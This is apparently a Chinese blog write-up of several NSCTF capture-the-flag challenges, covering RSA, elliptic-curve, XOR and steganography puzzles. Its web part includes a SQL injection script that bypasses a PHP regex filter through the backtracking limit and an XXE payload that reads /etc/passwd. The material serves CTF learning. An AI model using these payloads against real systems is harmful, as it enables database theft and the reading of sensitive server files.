文章目录

  • Web-xff
  • Web-sql
  • Web-XXE
  • CRYPTO-神算子
  • CRYPTO-Catch_the_point
  • CRYPTO-data
  • MISC-docx
  • MISC-BBQ
  • MISC-等等我

前言:这是最近做的一部分NSCTF题目的解题思路和方法

Web-xff

方法一:



方法二:

Web-sql

解题思路:

(1)dirsearch扫出备份文件

(2)分析文件
分析index.php文件:

<?phprequire("conf/config.php");if (isset($_REQUEST['id'])) { $id = $_REQUEST['id'];if (preg_match("/\d.+?\D.+/is",$id)){#.:除换行符以外的所有字符 \d:匹配数字 ?:0次或1次匹配 \D:匹配非数字 /is:不区分大写小写匹配所有字符 该正则为非贪婪模式 die("Attack detected");}$query = "SELECT text from UserInfo WHERE id = " . $id. ";"; $results = $conn->query($query);echo "学号:" . $id . ",成绩为: ".$results->fetch_assoc()['text'];}
?>

利用PHP的pcre.backtrack_limit限制来绕过waf

可参考相关文章https://www.freebuf.com/articles/web/190794.html
绕过脚本:

import requestsreq=requests.post('http://47.96.38.46:8888/index.php', data={'id': '4'*1000001 + ' and false union/**/select flag from flag'})
print(req.text)

Web-XXE

根据下图所示:猜测存在XXE

(1)使用XXE Payload读取文件测试

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<user>&xxe;</user>
</root>


(2)访问hosts敏感文件:

(3)根据提示访问内网:

发现并没有什么信息
(4)爆破该段IP


CRYPTO-神算子

打开文件如下

一副地图上写有如下数字,您可以发现什么吗?n:  20499421483319837632829005665244953604816631094131482091599739242452461959670789327098587429656441009883765163931516947567316643569963621519243386576155541991650610105070387440479691299670503655019032377026089584152047162143622592606512093871068907193787013919967475201572411584456318069752118161110853731611597336602111728937901380008855876406951363681839727114631417566905375167058609392654378267988132283758536576123045237315624774544667706040426027925497245266590365080287798629911056879889563806490213919247917120199512548392006107613124668838850719777385822083736801474373012496703900585089950184532462833403107
e:  1042636303
c:  6205969032572882944180037263485628042378109193231715841886325949891749121989383547311929536212318170181549797555571944086768516630484986629344776433491100379930382523336990408172935057555487257649213769795574519116916319036030006483308024908136953009371319354721896420570456481836312073933269140937680349037921322912348206694899177135333409955744817247592349628482968931648273511891069736279124128933389566829376343402718480194054908196812812160453258979720636049495124819945003585505986465000415005397725594114641049377535161026102542833547952325294693461360521848141377345684282000046607100551138063210737261256317

将n分解p、q

根据p、q、e、c解flag

import gmpy2
from libnum import n2s,s2nn=20499421483319837632829005665244953604816631094131482091599739242452461959670789327098587429656441009883765163931516947567316643569963621519243386576155541991650610105070387440479691299670503655019032377026089584152047162143622592606512093871068907193787013919967475201572411584456318069752118161110853731611597336602111728937901380008855876406951363681839727114631417566905375167058609392654378267988132283758536576123045237315624774544667706040426027925497245266590365080287798629911056879889563806490213919247917120199512548392006107613124668838850719777385822083736801474373012496703900585089950184532462833403107
e=1042636303
c=6205969032572882944180037263485628042378109193231715841886325949891749121989383547311929536212318170181549797555571944086768516630484986629344776433491100379930382523336990408172935057555487257649213769795574519116916319036030006483308024908136953009371319354721896420570456481836312073933269140937680349037921322912348206694899177135333409955744817247592349628482968931648273511891069736279124128933389566829376343402718480194054908196812812160453258979720636049495124819945003585505986465000415005397725594114641049377535161026102542833547952325294693461360521848141377345684282000046607100551138063210737261256317
p=138149558149136946723702853693217798862267316666189942816520886165357260194916654034965226246613620482905011306996465659544456451870958162107819485799987144997514278358234816986266518092303586753050671210149075296173319503677929313696499057977134617244449388706566611756401925702906820026584248278446237580517
q=148385718767120808294577062519850184639495614793281052895346144216250114087102888222369065569059037636249358547628359333320754976046188817562335343752474101985879697854111246597090633214354135620808419945688374075276767391174302507279227429182436807739268769378015447834458981548109968262808179707802448799271
p =gmpy2.mpz(p)
q =gmpy2.mpz(q)
e =gmpy2.mpz(e)
phi_n= (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
print n2s(pow(int(c),d,n)).decode('utf-8')

CRYPTO-Catch_the_point

题目:
链接:https://pan.baidu.com/s/10QZcH99pfRXS-3H9Bh_zuQ
提取码:rpdk
直接在https://sagecell.sagemath.org/用脚本解

from sage import *
p = 16496037227337470707
R=IntegerModRing(p)
gx=R(3361984281888091942)
gy=R(9881897088122670838)
rx=R(1)
ry=R(12352989693655963935)
a=R((gy*gy - gx*gx*gx)/gx)
b=R(gy^2 - gx^3 - a*gx)
print ("a=%d" %int(a))
print ("b=%d" %int(b))
a=R((ry*ry - rx*rx*rx)/rx)
b=R(ry^2 - rx^3 - a*rx)
print ("a=%d" %int(a))
print ("b=%d" %int(b))
E=EllipticCurve(GF(p),[a,b])
phi=E.cardinality()
print ("phi=%d" %int(phi))
print (factor(phi))
G = E(gx, gy)
R = E(rx, ry)
e= 3
k = inverse_mod(e, phi)
F = k*(R-G)
(x,y,z) = F
print (F)
print ("\nCatch The Point, the flag is:\n")
flag = "flag{"+str(x)+str(y)+"}"
print ("%s\n" %flag)

CRYPTO-data

题目:
链接:https://pan.baidu.com/s/139Svb8aOrT5h5myuqWWIFA
提取码:9cuy
直接使用脚本即可,注意input.txt.encrypted需要和脚本在同一目录下

import binascii
import sysdef xor(data,key):return bytes([x ^ key[i%len(key)] for i, x in enumerate(data)])p1 = binascii.hexlify('have a g')
p2 = binascii.hexlify('ood time')
f = file('input.txt.encrypted','rb').read()c = f.encode('hex')# key = C1 ^ C2 ^ P2
print c[:32]
key = int(c[:16],16)^int(c[16:32],16)^int(p2,16)
#key = int('d8c269fd73fde245',16)
print hex(key)
# iv = C1 ^ K ^ P1
iv = int(c[:16],16)^key^int(p1,16)
#iv = int('7f378206d0cf6794',16)
print hex(iv)flag = ""
for i in range(0,len(c),16):solve = int(c[i:i+16],16)^key^iviv = int(c[i:i+16],16)flag += str(hex(solve))[2:-1]#print flag
print flag.decode('hex')

MISC-docx

题目:
链接:https://pan.baidu.com/s/1-twukXkDrxtbtCpvjgJS-A
提取码:gpb0

打开1.CTF.docx,如下所示

将后缀修改为zip/7z,在theme.xml中找到flag

MISC-BBQ

题目:
链接:https://pan.baidu.com/s/1r-2u33XTBVLlpjPPxiGwjA
提取码:35it

这是一道base64隐写题目
先将密文进行一次base64解密,将解密的内容保存为1.txt
再使用脚本解密

import base64def deStego(stegoFile):b64table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"with open(stegoFile, 'r') as stegoText:message = ""for line in stegoText:try:text = line[line.index("=") - 1:-1]message += "".join([bin(0 if i == '=' else b64table.find(i))[2:].zfill(6) for i in text])[6 - 2 * text.count('='):6]except:passreturn "".join([chr(int(message[i:i + 8], 2)) for i in range(0, len(message), 8)])print(deStego("1.txt"))
#注1.txt和脚本在同一目录下

MISC-等等我

题目:

hHGkn82kgEmlJ8mBUJGgXM32gEnFA90AYIWlHA2kg6mlJ8mBUIGoXB2kg6mFG
h93AkH0lGI36hAZ-E9H7EJ+dB8mBUIWlGI36hAZ-G9H7EI0knB2kg6mFH8mBU
hJGgXA2kg6mFJ8mAcImgXM3If6q-G937EI0kn83Af6q-G0YogIZ-I8mBUIGom
hI32hAZ-E91AcH0kX736gIZ-F92AoH0kn83Af6q-G9H7EI0l192kh6Z-E91Ac
LImgX736890omI32gEnFA91AcJGgX73A+

解题思路:xxencode+uuencode
先在http://www.atoolbox.net/Tool.php?Id=780进行xxencode解密

然后在https://www.qqxiuzi.cn/bianma/uuencode.php进行uuencode解密

脚本解密:

m="12,235,05,0125,01234,035,0145,01234,3,25,05,4,023,25,25,015,013,05,4,015,23,05,023,0123,023,4,015,15,012,0123,125,123,025,023,4,0123,125,125,125,13"
print "".join([chr(ord('A')+sum(2**int(j) for j in i)-1) for i in m.split(',')])

NSCTF-部分题目wp相关推荐

  1. Bugku-杂项部分题目WP

    前言 一个新手学习CTFer的成长之路必定要通过大量的刷题,下面是bugku部分题目wp Bugku-MISC-论剑 把图片放进010发现有一串二进制先转ASCII码获得一个关键词,但不知道是什么东西 ...

  2. ISCC 2021 部分题目WP

    ISCC 2021 部分题目WP 题目目录 练武题:web-ISCC客服一号冲冲冲(一) 练武题:web-介是嘛 练武题:web-Web01正则匹配最后的倔强 练武题:web- ISCC客服一号冲冲冲 ...

  3. 衡师11月月赛web题目wp

    目录 1.丢三落四的学姐 2.wep?Pwn!!! 这题web部分是buuctf中的DASCTF X GFCTF 2022十月挑战赛!的原题 1.丢三落四的学姐 访问题目位置,很明显的phpstudy ...

  4. 泰山杯练习平台部分题目wp

    目录 前言 一.Misc 1.great_art 1)用zsteg查看和提取隐写内容 2)用binwalk分离出压缩文件 3)得到前四个txt文件的crc值 4)借助Python脚本爆破crc得到文件 ...

  5. 一些bugku的题目wp

    题目来源 bugku WEB 成绩单 传送门 手注 类sql注入题目. 直接查询可以查询到id=3. 1' order by 1# 1' order by 2# 到id=5时无返回数据,可以得知有四个 ...

  6. X-NUCA'2019部分题目WP

    0x00 前言 题目质量好高,题目好评 0x01 Ezphp 题目描述 ezphp php for beginner. hint: no race condition 题目解答 题目环境:apache ...

  7. 2021第五届蓝帽杯初赛部分题目wp

    文章目录 前言 WEB Ball_sigin PWN slient MISC 冬奥会_is_coming 前言 本次蓝帽杯初赛做出了三道解出人数最多的题,勉强混个线下.但不得不吐槽一下这届题目.冬奥会 ...

  8. SLsec题目wp(2)

    SLsec目录~片段2 CRYPTO 1.四凯撒还是四栅栏 2.动听音符 3. 小兔子 4. RSA WEB 1. 签到 2. EZphp~(目前这类题目仅仅模仿做,不了解原理)~ 3. 1zMD5 ...

  9. ISCC2017部分题目wp

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 比赛网址 ...

最新文章

  1. ImageView.ScaleType /android:scaleType值的意义区别
  2. 二叉树 -php实现先序、中序、后序遍历二叉树
  3. 【C++】 外传篇 2_函数的异常规格说明
  4. 数学建模——线性规划模型详解Python代码
  5. 安装kube-prometheus项目:k8s部署prometheus、监控k8s核心组件、添加告警(微信、钉钉、企业微信)、进行数据持久化
  6. LeetCode 2114. 句子中的最多单词数
  7. 郁金香汇编代码注入怎么写看雪_汇编语言入门五:流程控制(一)
  8. 给开源项目贡献代码_您可以为开源做出6种非代码贡献
  9. PowerDesigner 常用配置修改
  10. 中国第一代程序员简史:中国龙简晶的程序人生
  11. mysql5.0查询表_Mysql5.0查询表结构 | 学步园
  12. Default Folder X几个小技巧分享
  13. 道哥:我人生的两大选择,为的都是同一件事
  14. 安卓干货——安卓NFC通信
  15. origin基本操作
  16. win10计算机打开之后隐藏3d对象视频,Win10系统隐藏/删除此电脑中的3D对象文件夹的方法...
  17. FBReader工程结构解析
  18. 数据库中delete和drop的区别
  19. 克罗内克函数Kronecker Delta【OI Pharos 6.2.1】
  20. 一个计算机网络由8台计算机组成,2016年真题824计算机组成原理+计算机网络(2016-B).doc...

热门文章

  1. Vue学习(组件的定义及调用、路由)-学习笔记
  2. 在mac中导入hadoop2.6.0源代码至eclipse
  3. SQL实战篇:SQL解决连续X天的问题
  4. 本题中的变量(不包括变量ID)进行z-score标准化
  5. 软件设计原则(二)单一职责原则 -Single Responsibility Principle
  6. Redis中对ZSet类型的操作命令
  7. redis 延时任务
  8. 用PMML实现机器学习模型的跨平台上线
  9. HBase总结(七)LSM理解
  10. [python作业AI毕业设计博客]大数据Hadoop工具python教程1-HDFS Hadoop分布式文件系统...